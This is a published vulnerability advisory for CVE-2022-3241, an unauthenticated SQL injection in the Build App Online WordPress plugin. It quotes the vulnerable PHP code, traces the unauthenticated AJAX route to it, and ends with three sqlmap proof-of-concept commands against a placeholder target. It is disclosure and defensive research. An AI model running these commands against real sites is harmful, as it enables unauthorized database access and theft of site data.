Unlock Security® è gold sponsor di Cyber Frontiers Convention il 18 aprile 2026 nello Sky Campus di Milano Rogoredo

CVE-2022-3241

Image link

This article is also available in: Italiano

Build App Online < 1.0.19 - Unauthenticated SQL Injection

Author

Francesco Marano, Donato Di Pasquale

Affected product

Build App Online < 1.0.19 (WordPress plugin)

Product description

Build App Online is a WordPress plug-in that allows the creation of a Flutter-based mobile app from a WordPress blog or e-commerce developed with WooCommerce.

Vulnerability details

Analyzing plug-in source code it has been found that the function get_wcfm_vendor_reviews() is vulnerable to SQL injection. In particular, it is possible to see how the SQL query is built by concatenating some parameters without any sanitization. Particularly interesting is the $the_orderby parameter that comes directly from the user via $_POST['orderby'].

Analyzing the code more closely, it is possible to see that $reviews_vendor_filter also comes directly from the user via $_POST['reviews_vendor'], if specified, or via $vendor_id which comes from $_REQUEST['vendor'].

public/class-build-app-online-multivendor.php
public function get_wcfm_vendor_reviews($vendor_id){ global $WCFM, $wpdb, $_POST, $WCFMmp; //$vendor_id = $vendor_id; //Replace with Request ID if(isset($_REQUEST['vendor'])) { $vendor_id = $_REQUEST['vendor']; } $_POST['length'] = !empty($_REQUEST['per_page']) ? intval($_REQUEST['per_page']) : 10; $_POST['start'] = !empty($_REQUEST['page']) ? ( intval($_REQUEST['page']) - 1 ) * $_POST['length'] : 0; $_POST['orderby'] = !empty($_REQUEST['orderby']) ? sanitize_text_field($_REQUEST['orderby']) : ''; $_POST['order'] = !empty($_REQUEST['order']) ? sanitize_text_field($_REQUEST['order']) : ''; $_POST['status_type'] = !empty($_REQUEST['status_type']) ? sanitize_text_field($_REQUEST['status_type']) : ''; $the_orderby = ! empty( $_POST['orderby'] ) ? sanitize_text_field( $_POST['orderby'] ) : 'ID'; $the_order = ( ! empty( $_POST['order'] ) && 'asc' === $_POST['order'] ) ? 'ASC' : 'DESC'; $length = sanitize_text_field( $_POST['length'] ); $offset = sanitize_text_field( $_POST['start'] ); $reviews_vendor_filter = ''; if( $vendor_id ) { $reviews_vendor_filter = " AND `vendor_id` = " . $vendor_id; } elseif ( ! empty( $_POST['reviews_vendor'] ) ) { $reviews_vendor = sanitize_text_field( $_POST['reviews_vendor'] ); $reviews_vendor_filter = " AND `vendor_id` = {$reviews_vendor}"; } $status_filter = ''; if( isset($_POST['status_type']) && ( $_POST['status_type'] != '' ) ) { $status_filter = sanitize_text_field( $_POST['status_type'] ); if( $status_filter == 'approved' ) { $status_filter = ' AND `approved` = 1'; } elseif( $status_filter == 'pending' ) { $status_filter = ' AND `approved` = 0'; } } $sql = "SELECT * from {$wpdb->prefix}wcfm_marketplace_reviews"; $sql .= " WHERE 1=1"; $sql .= $reviews_vendor_filter; $sql .= $status_filter; $sql .= " ORDER BY `{$the_orderby}` {$the_order}"; $sql .= " LIMIT {$length}"; $sql .= " OFFSET {$offset}"; $wcfm_reviews_array = $wpdb->get_results($sql); wp_send_json($wcfm_reviews_array); }

Once it has been established that the get_wcfm_vendor_reviews() function is vulnerable let's backtrack through the code to figure out how to call it from the Internet. As we see the function is called within get_vendor_reviews() if the user has specified the parameter $_REQUEST['vendor'] and switch ($this->which_vendor()) returns the string "wcfm"

public/class-build-app-online-multivendor.php

public function get_vendor_reviews() { if(isset($_REQUEST['vendor'])) { $vendor_id = absint($_REQUEST['vendor']); switch ($this->which_vendor()) { case 'dokan': return $this->get_dokan_vendor_reviews($vendor_id); break; case 'wcfm': return $this->get_wcfm_vendor_reviews($vendor_id); break; case 'wc_marketplace': return $this->get_wc_marketplace_vendor_reviews($vendor_id); break; default: wp_send_json(array()); } } else { wp_send_json(array()); } }

This happens when the "wc-multivendor-marketplace" plug-in is installed and active:

public/class-build-app-online-multivendor.php
private function which_vendor() { if ( ! function_exists( 'is_plugin_active' ) ) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if(is_plugin_active( 'dokan-lite/dokan.php') || is_plugin_active( 'dokan/dokan.php' )){ return 'dokan'; } else if(is_plugin_active( 'dc-woocommerce-multi-vendor/dc_product_vendor.php' )){ return 'wc_marketplace'; } else if(is_plugin_active( 'wc-multivendor-marketplace/wc-multivendor-marketplace.php' )){ return 'wcfm'; } else if(is_plugin_active( 'woocommerce-product-vendors/woocommerce-product-vendors.php' )){ return 'product_vendor'; } else return null; }

Once established this we continue our backward analysis to identify where the get_vendor_reviews() function is called. This is associated with two AJAX actions of one of which uses the prefix "wp_ajax_nopriv_", meaning it is possible to invoke it without any kind of authentication.

includes/class-build-app-online.php
$this->loader->add_action('wp_ajax_build-app-online-vendor_reviews', $plugin_multivendor, 'get_vendor_reviews'); $this->loader->add_action('wp_ajax_nopriv_build-app-online-vendor_reviews', $plugin_multivendor, 'get_vendor_reviews');

Proof of Concept

It is possible to exploit the vulnerability using SQLMap:

# parametro 'vendor'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=1' -p vendor --dbms=mysql --technique=U --union-cols=10 --union-char=0 --level=1 --risk=1

# parametro 'orderby'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=1' --data='orderby=ID' -p orderby --dbms=mysql --level=4 --risk=1 --technique=T

# parametro 'reviews_vendor'
$ sqlmap -u 'https://www.target.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor' --data='reviews_vendor=1' -p reviews_vendor --dbms=mysql --technique=U --union-cols=10 --union-char=0 --level=1 --risk=1

Disclosure timeline

11/09/2022

Vulnerability submitted to WPScan

20/09/2022

Assigned CVE-2022-3241

02/12/2022

Official fix released

06/12/2022

Advisory published by WPScan

20/12/2022

Proof of Concept (PoC) published